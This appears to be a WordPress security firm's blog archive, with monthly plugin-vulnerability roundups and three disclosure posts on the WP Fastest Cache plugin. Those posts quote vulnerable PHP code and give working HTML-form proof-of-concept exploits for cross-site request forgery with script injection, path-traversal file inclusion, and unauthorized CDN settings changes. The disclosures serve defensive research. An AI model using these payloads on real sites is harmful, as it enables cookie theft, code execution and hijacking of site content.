02 Mar

What Happened With WordPress Plugin Vulnerabilities in February 2018

If you want the best information and therefore best protection against vulnerabilities in WordPress plugins we provide you that through our service.

Here is what we did to keep those are already using our service secure from WordPress plugin vulnerabilities during February (and what you have been missing out on if you haven’t signed up yet):

Plugin Vulnerabilities We Discovered and Publicly Disclosed This Month

We don’t just collect data on vulnerabilities in plugins that others have discovered, we also discover vulnerabilities through proactive monitoring of changes made to plugins, monitoring hackers’ activity, reviewing other vulnerabilities, and by doing additional checking on the security of plugins.

The most concerning vulnerabilities this month were several PHP object injection vulnerabilities. That is a type of vulnerability likely to be exploited. Two of them were in plugins with 10,000+ active installs according to wordpress.org. Another one, which may have been being exploited already when we ran across it, was in an even more popular plugin (with 300,000+ active installs), but it was only exploitable by those logged in to WordPress, which limited the threat. Our Plugin Security Checker (which is now accessible through a WordPress plugin of its own) can detect the possibility of those variants of PHP object injection, so anyone can check if plugins they use may be impacted by a similar vulnerability.

Plugin Vulnerabilities We Helped Get Fixed This Month

Letting you know that you are using a vulnerable version of plugin is useful, but it is much more useful if you can fully protect yourself by simple updating to a new version. So we work with plugin developers to make sure that vulnerabilities get fixed.

Plugin Vulnerabilities Added This Month That Are In The Current Version of the Plugins

Keeping your plugins up to date isn’t enough to keep you secure as these vulnerabilities in the current versions of plugins show:

Additional Vulnerabilities Added This Month

As usual, there were plenty of other vulnerabilities that we added to our data during the month. The most serious vulnerabilities here being two of the PHP object injection vulnerabilities we discovered during the month, with one of them possibly being exploited already.

01 Dec

What Happened With WordPress Plugin Vulnerabilities in November 2017

If you want the best information and therefore best protection against vulnerabilities in WordPress plugins we provide you that through our service.

Here is what we did to keep those are already using our service secure from WordPress plugin vulnerabilities during November (and what you have been missing out on if you haven’t signed up yet):

Plugin Security Reviews

Paid customers of the service can suggest and vote on plugins to have a security review done by us. This month we released details for a review of:

Plugin Vulnerabilities We Discovered and Publicly Disclosed This Month

We don’t just collect data on vulnerabilities in plugins that others have discovered, we also discover vulnerabilities through proactive monitoring of changes made to plugins, monitoring hackers’ activity, reviewing other vulnerabilities, and by doing additional checking on the security of plugins.

The most concerning vulnerabilities this month were a pair of arbitrary file upload vulnerability, one  in the first version of a plugin, which points to the need for changes to the security reviews that are supposed to be done before plugins can enter the Plugin Directory, and other in a plugin that has been removed from the Plugin Directory for an undisclosed reason.

Plugin Vulnerabilities We Helped Get Fixed This Month

Letting you know that you are using a vulnerable version of plugin is useful, but it is much more useful if you can fully protect yourself by simple updating to a new version. So we work with plugin developers to make sure that vulnerabilities get fixed. This month we helped to get vulnerabilities fixed in plugins that have 1,054,600+ active installs:

Plugin Vulnerabilities Added This Month That Are In The Current Version of the Plugins

Keeping your plugins up to date isn’t enough to keep you secure as these vulnerabilities in the current versions of plugins show:

Additional Vulnerabilities Added This Month

As usual, there were plenty of other vulnerabilities that we added to our data during the month. The most concerning of the bunch was an authenticated remote code execution (RCE) vulnerability in Shortcodes Ultimate as there exploitation attempts against it before it was fixed (some of them also used the shortcode execution vulnerability in Formidable Forms, though that may have only started being exploited after it was fixed).

02 Nov

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in WP Fastest Cache

One of the strangest experiences we have had with trying to get a vulnerability fixed involved the plugin WP Fastest Cache. After we had dug into the details that Wordfence failed to include when they disclosed a couple of vulnerabilities in that plugin, we noticed they had missed part of the vulnerabilities (which would be a good reason for them to fully disclose ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

20 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Fastest Cache

Recently in discussing Wordfence’s problematic practice of disclosing vulnerabilities, but only releasing partial details, in what appears to attempt to try to profit by being the only firewall provider who can protect against these, we mentioned that this practice makes it harder for other to review the vulnerabilities. That is important since we frequently find that vulnerabilites haven’t actually been fixed, they have only been partially fixed, or that the disclosure of one vulnerability will point the way to other vulnerabilities. When it comes Wordfence’s disclosures that concern already wasn’t a hypothetical. The first time they did that type of disclosure, with the Yoast SEO plugin, we found two related vulnerabilites that they had missed (which still have yet to be fixed).

Two more recent disclosures by Wordfence disclosed this way involved the WP Fastest Cache plugin. As we discussed in our post looking at the vulnerabilites, both vulnerabilites involved a situation where AJAX functions was accessible to any logged in users instead of just Administrator level users. This was fixed by checking if the the user making the request have the ability to manage_options.

Once you can see the details of the vulnerabilites that Wordfence withheld it becomes clear that there is another issue. Even without the check on the user’s capability, someone who cannot access the relevant pages shouldn’t be able to make the changes in question due to protection against cross-site request forgery (CSRF) since they would not have access to the relevant nonce. So either the CSRF protection was missing or there was some other problem with it. No change was made to resolve that part of the issue in version 0.5.5.8, so that means that if you can get Administrator level user to visit a web page you control you can cause them to change setting’s for the plugin unintentionally.

Instead of looking at the problem with one the vulnerable functions mentioned in Wordfence’s post, let’s take a look at yet another one. This time one that permits cross-site scripting (XSS) to occur. It involves the Cache Timeout settings, which are saved through the wpfc_save_exclude_pages_callback() function. Here is the function code 0.8.5.8 in:

386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
public function wpfc_save_exclude_pages_callback(){
	if(current_user_can('manage_options')){
		if(isset($_POST["rules"])){
			$data = json_encode($_POST["rules"]);
 
			if(get_option("WpFastestCacheExclude")){
				update_option("WpFastestCacheExclude", $data);
			}else{
				add_option("WpFastestCacheExclude", $data, null, "yes");
			}
		}else{
			delete_option("WpFastestCacheExclude");
		}
 
		echo json_encode(array("success" => true));
		exit;
	}else{
		wp_die("Must be admin");
	}
}

You can see that the manage_option capability is checked, but there is no nonce check. You can also see that no sanitization is done on the user input, $_POST[“rules”].

When the values are outputted on the plugin’s admin page, /admin.php?page=wpfastestcacheoptions, through the file /inc/admin.php they are not escaped:

1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
$schedules_rules = array();
$crons = _get_cron_array();
 
foreach ((array)$crons as $cron_key => $cron_value) {
	foreach ( (array) $cron_value as $hook => $events ) {
		if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){
			if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){
				foreach ( (array) $events as $event_key => $event ) {
					$tmp_array = array();
 
					if($id[1]){
						// new cronjob which is (wp_fastest_cache_d+)
						$tmp_std = json_decode($event["args"][0]);
 
						$tmp_array = array("schedule" => $event["schedule"],
										   "prefix" => $tmp_std->prefix,
										   "content" => $tmp_std->content);
					}else{
						// old cronjob which is (wp_fastest_cache)
						$tmp_array = array("schedule" => $event["schedule"],
										   "prefix" => "all",
										   "content" => "all");
					}
				}
 
				array_push($schedules_rules, $tmp_array);
			}
		}
	}
}
 
echo "WpFcTimeout.schedules = ".json_encode($this->cron_add_minute(array())).";";
 
if(count($schedules_rules) > 0){
	echo "WpFcTimeout.init(".json_encode($schedules_rules).");";
}else{
	echo "WpFcTimeout.init();";
}

We contacted the developer a week about this but they did seem to grasp the issue. They kept mentioning they already are checking if the user can manage_options, which doesn’t impact a cross-site request forgery issue, as we tried to explain to them. So the issue hasn’t been fixed yet.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Cache Options page, /wp-admin/admin.php?page=wpfastestcacheoptions.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpfc_save_timeout_pages" />
<input type="hidden" name="rules[0][prefix]" value="exact" />
<input type="hidden" name="rules[0][content]" value=':"><script>alert(document.cookie);</script>' />
<input type="hidden" name="rules[0][schedule]" value="everyminute" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/13/2016 – Developer notified.
  • 6/20/2016 – WordPress.org Plugin Directory notified.
  • 6/20/2016 – Removed from Plugin Directory.
  • 6/21/2016 – Version 0.5.5.9 released, which fixes vulnerability.
26 May

Protecting You Against Wordfence’s Bad Practices: Local File Inclusion Vulnerability in WP Fastest Cache

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in WP Fastest Cache version 0.8.5.7 as “The Local File Inclusion vulnerability allows an attacker to execute code on the target web server or on a site visitor’s browser. This enables the attacker to steal or manipulate data, perform a denial of service attack or enable additional attack types such as Cross Site Scripting.”

The relevant change in the next version was to restrict the AJAX accessible function wpfc_cdn_template_ajax_request_callback() to Administrator level users in the file /wpFastestCache.php .

Code in 0.8.5.7:

318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
public function wpfc_cdn_template_ajax_request_callback(){
	ob_start();
	include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
	$content = ob_get_contents();
	ob_end_clean();
 
	$res = array("success" =&gt; false, "content" =&gt; "");
 
	if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
		$res["success"] = true;
		$res["content"] = $content;
	}
 
	echo json_encode($res);
	exit;
}

Code in 0.8.5.8:

327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
public function wpfc_cdn_template_ajax_request_callback(){
	if(current_user_can('manage_options')){
		ob_start();
		include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
		$content = ob_get_contents();
		ob_end_clean();
 
		$res = array("success" =&gt; false, "content" =&gt; "");
 
		if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
			$res["success"] = true;
			$res["content"] = $content;
		}
 
		echo json_encode($res);
		exit;
	}else{
		wp_die("Must be admin");
	}
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php located in the root directory of the WordPress installation to be included.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="wpfc_cdn_template_ajax_request" />
 <input type="hidden" name="id" value="../../../../../test" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>
25 May

Protecting You Against Wordfence’s Bad Practices: Unauthorized Options Update Vulnerability in WP Fastest Cache

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in WP Fastest Cache version 0.8.5.7 as “The Options Update vulnerability allows an attacker to access and make changes to the CDN (Content Delivery Network) options for the website. With this control an attacker can direct all requests for css files, images, videos, etc. to their site, allowing them to serve malicious content to visitors of the vulnerable site.”

The relevant change in the next version was to restrict the AJAX accessible function wpfc_save_cdn_integration_ajax_request_callback() to Administrator level users in the file /wpFastestCache.php .

Code in 0.8.5.7:

335
336
337
338
339
340
341
342
343
344
public function wpfc_save_cdn_integration_ajax_request_callback(){
	$values = json_encode($_POST["values"]);
	if(get_option("WpFastestCacheCDN")){
		update_option("WpFastestCacheCDN", $values);
	}else{
		add_option("WpFastestCacheCDN", $values, null, "yes");
	}
	echo json_encode(array("success" =&gt; true));
	exit;
}

Code in 0.8.5.8:

348
349
350
351
352
353
354
355
356
357
358
359
360
361
public function wpfc_save_cdn_integration_ajax_request_callback(){
	if(current_user_can('manage_options')){
		$values = json_encode($_POST["values"]);
		if(get_option("WpFastestCacheCDN")){
			update_option("WpFastestCacheCDN", $values);
		}else{
			add_option("WpFastestCacheCDN", $values, null, "yes");
		}
		echo json_encode(array("success" =&gt; true));
		exit;
	}else{
		wp_die("Must be admin");
	}
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

Proof of Concept

The following proof of concept will set the CDN URL to example.com.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="wpfc_save_cdn_integration_ajax_request" />
 <input type="hidden" name="values[success]" value="false" />
 <input type="hidden" name="values[id]" value="other" />
 <input type="hidden" name="values[cdnurl]" value="example.com" />
 <input type="hidden" name="values[originurl]" value="" />
 <input type="hidden" name="values[file_types]" value="css,js,gif,png,jpg,jpeg,ttf,otf,woff,less,mp4,svg,eot" />
 <input type="hidden" name="file_types" value="css,js,gif,png,jpg,jpeg,ttf,otf,woff,less,mp4,svg,eot" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>